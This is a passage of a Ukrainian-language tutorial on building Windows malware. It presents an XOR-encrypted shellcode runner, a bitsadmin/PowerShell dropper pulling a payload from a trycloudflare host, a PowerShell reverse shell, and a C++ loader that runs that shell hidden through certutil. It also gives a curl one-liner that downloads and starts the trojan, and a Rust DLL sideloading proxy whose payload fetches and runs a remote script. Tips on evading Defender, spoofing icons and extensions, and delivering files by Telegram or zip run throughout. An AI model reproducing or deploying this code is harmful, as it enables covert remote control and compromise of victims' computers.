0x05, 0xC6, 0x4D, 0x05, 0xC6, 0x4D, 0x05, 0xC6, 0x15, 0x6D, 0xC6, 0x0E,
0x71, 0x05, 0x4C, 0x95, 0xC6, 0xCD, 0xC5, 0x4D, 0x4D, 0x4D, 0x05, 0x4C,
0x95, 0x04, 0xC4, 0x8D, 0x0C, 0xC6, 0x05, 0x55, 0x0C, 0xC6, 0x1D, 0x6D,
0x05, 0x4C, 0x97, 0xB2, 0x84, 0xC6, 0x49, 0xC7, 0x05, 0x4C, 0x95, 0xCC,
0x75, 0x0A, 0x28, 0x39, 0x1D, 0x38, 0xBD, 0xCC, 0x35, 0x49, 0x3F, 0x22,
0x2E, 0x0C, 0x38, 0xAA, 0x0C, 0xC6, 0x1D, 0x69, 0x05, 0x4C, 0x97, 0x42,
0xFA, 0x41, 0x07, 0x0C, 0xC6, 0x1D, 0x51, 0x05, 0x4C, 0x97, 0xC6, 0x49,
0xC7, 0x05, 0x4C, 0x95, 0x04, 0xC4, 0x8B, 0x05, 0xC0, 0x58, 0x6B, 0x4D,
0x4D, 0x4D, 0x05, 0xC4, 0x94, 0x0C, 0xB2, 0x9B, 0x04, 0xC4, 0x88, 0x7C,
0x9F, 0x05, 0xC0, 0x40, 0x65, 0x4D, 0x4D, 0x4D, 0x0C, 0xB2, 0x98, 0x05,
0xC0, 0x58, 0x5F, 0x4D, 0x4D, 0x4D, 0x05, 0xC4, 0x94, 0x0C, 0xB2, 0x9B,
0x7C, 0x84, 0xB2, 0x9D, 0x1A, 0x24, 0x23, 0x08, 0x35, 0x28, 0x2E, 0x4D,
0x08, 0x35, 0x24, 0x39, 0x1D, 0x3F, 0x22, 0x2E, 0x28, 0x3E, 0x3E, 0x4D,
0x2E, 0x20, 0x29, 0x6D, 0x62, 0x2E, 0x6D, 0x2E, 0x38, 0x3F, 0x21, 0x6D,
0x60, 0x22, 0x6D, 0x0E, 0x77, 0x11, 0x18, 0x3E, 0x28, 0x3F, 0x3E, 0x11,
0x1D, 0x38, 0x2F, 0x21, 0x24, 0x2E, 0x11, 0x7A, 0x37, 0x63, 0x28, 0x35,
0x28, 0x6D, 0x25, 0x39, 0x39, 0x3D, 0x3E, 0x77, 0x62, 0x62, 0x2A, 0x24,
0x39, 0x25, 0x38, 0x2F, 0x63, 0x2E, 0x22, 0x20, 0x62, 0x24, 0x3D, 0x7A,
0x37, 0x62, 0x7A, 0x37, 0x24, 0x3D, 0x62, 0x3F, 0x28, 0x21, 0x28, 0x2C,
0x3E, 0x28, 0x3E, 0x62, 0x29, 0x22, 0x3A, 0x23, 0x21, 0x22, 0x2C, 0x29,
0x62, 0x7F, 0x7B, 0x63, 0x7D, 0x7D, 0x62, 0x7A, 0x37, 0x7F, 0x7B, 0x7D,
0x7D, 0x60, 0x35, 0x7B, 0x79, 0x63, 0x28, 0x35, 0x28, 0x4D
};
size_t shellcode_len = sizeof(enc_shellcode);
void xor_decrypt(unsigned char* data, size_t len, unsigned char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
int main(void) {
void* exec_mem = VirtualAlloc(
NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!exec_mem) return 1;
memcpy(exec_mem, enc_shellcode, shellcode_len);
xor_decrypt((unsigned char*)exec_mem, shellcode_len, XOR_KEY);
((void(*)())exec_mem)();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
} Ctrl + S – зберігаємо проєкт. І виставляємо наступну конфігурацію:
- Архітектура: x64
- Тип запуску: Release
- Project -> Properties:
- C/C++ -> Code Generation -> Security Check: відключити (/GS-)
- Linker -> Advanced -> DEP: No (для навчальних цілей)
- Linker -> System -> SubSystem -> Windows (/SUBSYSTEM:WINDOWS)
- Linker -> Advanced -> Entry Point -> mainCRTStartup
Обираємо проєкт (solution) на вкладці “Solution Explorer” і компілюємо “Build Solution”:
Дивимося за перебігом компіляції на вкладці Output, вивід має бути без помилок з повідомленням про успішний результат:
Крок 3. Запуск на цільовому комп’ютері
Отже, у нас є готовий зашифрований PE-додаток з відповідним шеллкодом. Беремо знаходимо його у папці з проєктом і пробуємо запускати на цільовій машині Windows 10.
Після запуску EXEшника, у фоні миттєво виконається прописана команда шеллкоду, яка завантажить і збереже портативний додаток “7zip”:
Чим це небезпечно? У даному випадку ми просто завантажили службовий файл на цільовий комп’ютер. Але цим можна зловживати, помістивши у шеллкод що-завгодно, наприклад ось такий дроппер:
cmd /c bitsadmin /transfer job /download /priority high https://alaska-college-funk-satisfactory.trycloudflare.com/ps.txt "%TEMP%\\ps.ps1" && powershell -Exec Bypass -File %TEMP%\\ps.ps1– завантаження і виконання корисного навантаження з допомогою легітимних утиліт bitsadmin та powershell;
Вміст ps.txt:
$c=New-Object System.Net.Sockets.TCPClient('X.X.X.X',XXXX);
$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};
while(($i=$s.Read($b,0,$b.Length))-ne0){
$d=([Text.Encoding]::ASCII).GetString($b,0,$i);
$sb=(iex $d 2>&1|Out-String);
$sb2=$sb+'PS> ';
$sbt=([text.encoding]::ASCII).GetBytes($sb2);
$s.Write($sbt,0,$sbt.Length)};
$c.Close() 
Цікаво, що через відсутність явних сигнатур RAT, Windows Defender не побачив загрози у виконуваному файлі і нам вдалося запустити реверс-шел на віртуальних машинах з ОС Windows 10/11, з активними Defender/Firewall та останніми оновленннями безпеки. Щоправда, у деяких випадках, на різних версіях Windows (Enterprise, Pro, Home, Server), спрацьовувала система хмарного захисту Cloud Security Scan та екран попередження Smart Screen, який вимагає примусового схвалення запуску виконуваних файлів без цифрового підпису збоку користувача. Також іноді спрацьовував поведінковий аналіз – після повторного запуску malware не зміг запуститись.

Інші способи доставки/обходу захисту:
- прописати багатоланцюжковий сценарій (multistage dropper), наприклад: Завантажити -> Розпакувати -> Виконати;
- замаскувати EXE-файл під різні типи файлів та змінити іконку файлу з Resource Hacker;
- об’єднати з зображенням чи документом (біндинг, поліглот);
- здійснити ін’єкцію шеллкоду у легітимний, вже підписаний додаток (складно);
- застосовувати режим прихованих файлів (увімкнено в Windows по замовчуванню).

Атакуємо Windows через троян (loader) на С++
Loader (від англ. load – підвантажувати) – це тип шкідливої троянської програми, яка завантажує коричне навантаження (payload) в пам’ять, не залишаючи на жорсткому диску слідів, що відрізняє його від дроппера.
Отже, створимо троян на C++ для встановлення реверс-з’єднання з машиною атакуючого. Для цього використаємо PowerShell як легітимну програму (LOLbin), що допоможе нам в обході Windows Defender.
Приклад вихідного коду loader.cpp:
#include <windows.h>
#include <cstdio>
#include <cstring>
// Функція для прихованого запуску
void RunHidden(const char* cmd) {
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
CreateProcessA(NULL, (LPSTR)cmd, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
// Base64 кодування (спрощене)
void ToBase64(const char* input, char* output) {
static const char b64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
int len = strlen(input);
int i = 0, j = 0;
unsigned char char_array_3[3], char_array_4[4];
while (len--) {
char_array_3[i++] = *(input++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for(i = 0; i < 4; i++)
output[j++] = b64[char_array_4[i]];
i = 0;
}
}
if (i) {
for(int k = i; k < 3; k++)
char_array_3[k] = '\0';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
for(int k = 0; k < i + 1; k++)
output[j++] = b64[char_array_4[k]];
while(i++ < 3)
output[j++] = '=';
}
output[j] = '\0';
}
int main() {
// PowerShell reverse shell (обфускований)
const char* ps_payload =
"$a='X.X.X.X';" // IP
"$b=11111;" // Port
"$c=New-Object Net.Sockets.TCPClient($a,$b);"
"$d=$c.GetStream();"
"[byte[]]$e=0..65535|%{0};"
"while(($f=$d.Read($e,0,$e.Length))-ne0){"
"$g=([Text.Encoding]::ASCII).GetString($e,0,$f);"
"$h=(iex $g 2>&1|Out-String);"
"$i=$h+'PS> ';"
"$j=([Text.Encoding]::ASCII).GetBytes($i);"
"$d.Write($j,0,$j.Length)}";
// Кодуємо в Base64
char b64_payload[4096] = {0};
ToBase64(ps_payload, b64_payload);
// Команда для PowerShell
char ps_cmd[8192] = {0};
sprintf(ps_cmd, "powershell -NoP -NonI -W Hidden -Exec Bypass -Enc %s", b64_payload);
// Зберігаємо в файл через certutil
char cert_cmd[8192] = {0};
sprintf(cert_cmd,
"cmd /c echo %s > %TEMP%\\ps.txt && "
"certutil -decode %TEMP%\\ps.txt %TEMP%\\ps.ps1 && "
"powershell -Exec Bypass -File %TEMP%\\ps.ps1",
b64_payload);
// Запускаємо
RunHidden(cert_cmd);
return 0;
} Компілюємо його у середовищі Windows командою:
x86_64-w64-mingw32-g++ -O2 -s -o loader.exe loader.cpp -static -lkernel32 (необхідно попередньо встановити компонент MinGW для Windows)
Відкриваємо на атакуючій машині Netcat на прослуховування порту, зазначеного у лоадері: nc64.exe -lvnp 11111
І запускаємо loader.exe на цільовій машині.
В Netcat отримаємо зворотне з’єднання з повним доступном до цільової машини:
Як доставити loader у цільову систему?
Для цього, зазвичай, використовуються усі можливі канали електронного зв’язку – месенджери, email, веб-сервери, FTP/WebDAV, хмарні сервіси з підтримкою SSL (Dropbox, TryCloudflareFree та інші).
Можна, як у попередньому розділі, створити дроппер, і доставити лоадер через нього:
curl -o %TEMP%\loader.exe http://X.X.X.X:XXXX/loader.exe && start /b %TEMP%\loader.exe– one-line команда для завантаження і запуску трояна з локального веб-сервера. Її можна помістити у файл і доставити на цільовий комп’ютер-жертву.
Виконувані файли легко передаються через Telegram (не фільтрує exe):
Для легітимності, як вже зазначалося, можна застосувати різноманітні техніки маскування. Все залежить від задач та фантазії виконавця.
DLL Sideloading
DLL Sideloading – це техніка, яка експлуатує механізм пошуку та використання динамічних бібліотек DLL (Dynamic Link Libraries) в операційних системах Windows. Вона дозволяє виконувати шкідливий код під виглядом легітимного процесу, завантажуючи шкідливу DLL (Proxy DLL) замість оригінальної. В MITRE ATT&CK класифікується як T1574.001.
Визначити які бібліотеки потрібні для запуску будь-якого PE-додатку можна з допомогою утиліт: PE Bear, Dependency Walker, API monitor, Frida, Process Monitor.
Або ж командами терміналу Windows:
Dependencies.exe -modules "C:\Experiments\DLLSideloading\WINWORD.EXE"– перевірка залежностей з допомогою Dependiences;dumpbin /dependents "C:\Program Files\MicrosoftOffice\Office14\winword.exe"– перевірка залежностей з допомогою Dumpbin;
Якщо додаток шукає DLL у своєму власному локальному каталозі – він вразливий до атаки DLL Sideloading. Це дозволяє хакерам підробити оригінальний DLL і скопіювати його в одну папку разом з легітимним виконуваним файлом. Щойно виконуваний файл запуститься – він викличе відповідну DLL-бібліотеку у тому ж каталозі, яка виконає корисне навантаження. Це дозволяє обходити антивірусний захист, адже завантаження DLL відбувається у пам’яті і не залишає слідів на диску.
Приклад атаки
Для прикладу візьмемо звичайний калькулятор Windows – calc.exe. Під час запуску через метод LoadLibrary він динамічо викликає DLL-бібліотеку – WindowsCodecs.dll, яка по замовчуванню знаходиться в директорії С:\Windows\System32. Але якщо ми перемістимо обидва файли у локальну папку, то завдяки методу LoadLibrary, калькулятор запуститься і використає бібліотеку з локального, а не системного каталога. У цьому легко пересвідчитись з допомогою чудового додатка API Monitor:

Як бачимо зі скріншоту, DLL-бібліотека методом LoadLibrary успішно підвантажилась з локальної папки. Отже, залишилось тільки підмінити DLL, наповнивши корисним навантаженням, а потім запакувати обидва файли в zip й доставити на цільову машину.
Для роботи з DLL підійдуть такі утиліти як SharpDLLProxy та Lazy DLL Sideload. Остання більш простіша і ефективніша, тому використаємо її.
Покрокова інструкція по збиранню DLL:
1) Розгортаємо LazyDLLSideload на своєму комп’ютері:
git clone https://github.com/Whitecat18/LazyDLLSideloadcargo build --release
3) Запускаємо процес клонування оригінальної DLL:
LazyDLLSideload.exe -m sideload -p C:\Windows\System32\WindowsCodecs.dll -e WICCreateImagingFactory_Prox – ключем -e вказується функція, яка викликає DLL для завантаження і вона буде тригерити виконання пейлоаду. Цю функцію легко знайти в API Monitor за методом GetProcAddress.
4) Тепер у папці з LazyDLLSideload з’явиться директорія проєкту “WindowsCodecs”. В ній у файлі src\lib.rs буде код корисного навантаження. Приклад вмісту lib.rs:
#![allow(non_snake_case)]
use std::ffi::c_void;
use std::ptr::null_mut;
use obfstr::obfstr as s;
use windows_sys::Win32::System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH};
use windows_sys::Win32::UI::WindowsAndMessaging::MessageBoxW;
use windows_sys::core::BOOL;
mod forward;
#[no_mangle]
#[allow(non_snake_case)]
pub unsafe extern "system" fn DllMain(
_hinst: *mut c_void,
reason: u32,
_reserved: *mut c_void,
) -> BOOL {
match reason {
DLL_PROCESS_ATTACH => 1,
DLL_PROCESS_DETACH => 1,
_ => 1,
}
}
unsafe fn payload_execution() {
let _ = std::process::Command::new("powershell")
.args(&["-WindowStyle", "Hidden", "-Command", "bitsadmin /transfer job /download /priority high https://panel-submissions-warren-argument.trycloudflare.com/ps.txt $env:TEMP\\ps.ps1; powershell -Exec Bypass -File $env:TEMP\\ps.ps1"])
.spawn();
}
#[no_mangle]
pub unsafe extern "system" fn WICCreateImagingFactory_Proxy(
_a1: u64,
_a2: u64,
_a3: u64,
_a4: u64,
_a5: u64,
_a6: u64,
_a7: u64,
_a8: u64,
_a9: u64,
_a10: u64,
_a11: u64,
_a12: u64,
_a13: u64,
_a14: u64,
_a15: u64,
_a16: u64,
_a17: u64,
_a18: u64,
_a19: u64,
_a20: u64
) -> u64 {
payload_execution();
1
} 5) Повертаємося у вихідний каталог WindowsCodecs і компілюємо фальшиву DLL:
cargo build --release
6) У папці target\release з’явиться модифікована бібліотека WindowsCodecs.dll з корисним навантаженням.
Розміщуємо її разом з файлом calc.exe, який можна замаскувати під зображення застосувавши техніки Extension Spoofing та Icon Spoofing:
На замітку: Як змінювати іконки PE-додатків? Знаходимо будь-яке зображення, наприклад image.png і генеруємо з допомогою ImageMagick універсальну іконку з різними розмірами:
magick image.png -define icon:auto-resize=256,128,64,48,32,24,16 icon.ico. Відкриваємо EXE-файл в Resource Hacker, знаходимо групу Icon Group, клацаємо правою кнопкою миші і тиснемо на “Replace icon”, знаходимо згенеровану раніше іконку і додаємо її. Потім обов’язково “Save As” і зберігаємо файл. Скинути системний кеш іконок можна командою:ie4uinit.exe -show
DLL робимо прихованим, увімкнувши у властивостях файлу мітку “Hidden” – таким чином користувач його не побачить (якщо у нього налаштування Windows по замовчуванню):
Пакуємо це все в zip і доставляємо.
Розпакувавши, користувач побачить лише один файл – “картинку” JPEG. При відкритті відбудеться звернення до локальної фальшивої DLL (яка прихована) і пейлоад вступить в дію:
Джерела та посилання
- GitHub. PandoraBox Project.
- GitHub. JPGtoMalware.
- GitHub. Powerglot.
- GitHub. Mimikatz.
- GitHub. Defendnot.
- GitHub. PackMyPayload.
- GitHub. Privesc Check.
- GitHub. SharpDLLProxy
- GitHub. Lazy DLL Sideload
- LOLBAS Project
- TruePolyglot Project.
- Брюс Шнаєр. Повна збірка книг по криптографії.
- Exploit-DB. Windows x86-64
- Dependency Walker.
- Mandiant. DLL Side-loading and Hijacking — Using Threat Intelligence to Weaponize R and D
- SentinelLabs. Ghost in the Zip | New PXA Stealer and Its Telegram-Powered Ecosystem
- Unit42. Hunting for Unsigned DLLs to Find APTs
- Unit42. Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda
- Unit42. Chinese PlugX Malware Hidden in Your USB Devices?
- CERT.PL. APT28 campaign targeting Polish government institutions
- Webhook.site
- Microsoft Learn. CMD command.
- Resecurity. PDFSIDER Malware – Exploitation of DLL Side-Loading for AV and EDR Evasion
- GitHub. Rust fot Malware Development
- GitHub. PowerShell Scripts for Hackers and Pentesters.
- GitHub. PETool
- Brian W. Kernighan and Dennis M. Ritchie. The C Language.
- OpenRCE. Структурна блок-схема будови PE-формату
- Goppit. Portable Executable File Format – A Reverse Engineer View (2006)
- PE File Structure [PDF]
- GitHub. Portable executable library.
- LIEF Documentation PE Resources.
- RGBlog. Пишем нерезидентный RunPE лоадер на C++
- RGBlog. Пишем криптор на C#
- GitHub. Gargoyle Payload – memory scanning evasion technique
- GitHub. Mimikatz.
- GitHub. Run PE.cpp
- GitHub. Permutation Engine.
- X86 Opcode and Instruction Reference Home
- CPUID DLL Sideload Kill Chain Attack
Автор: © Konrad Ravenstone, KR. Laboratories Research












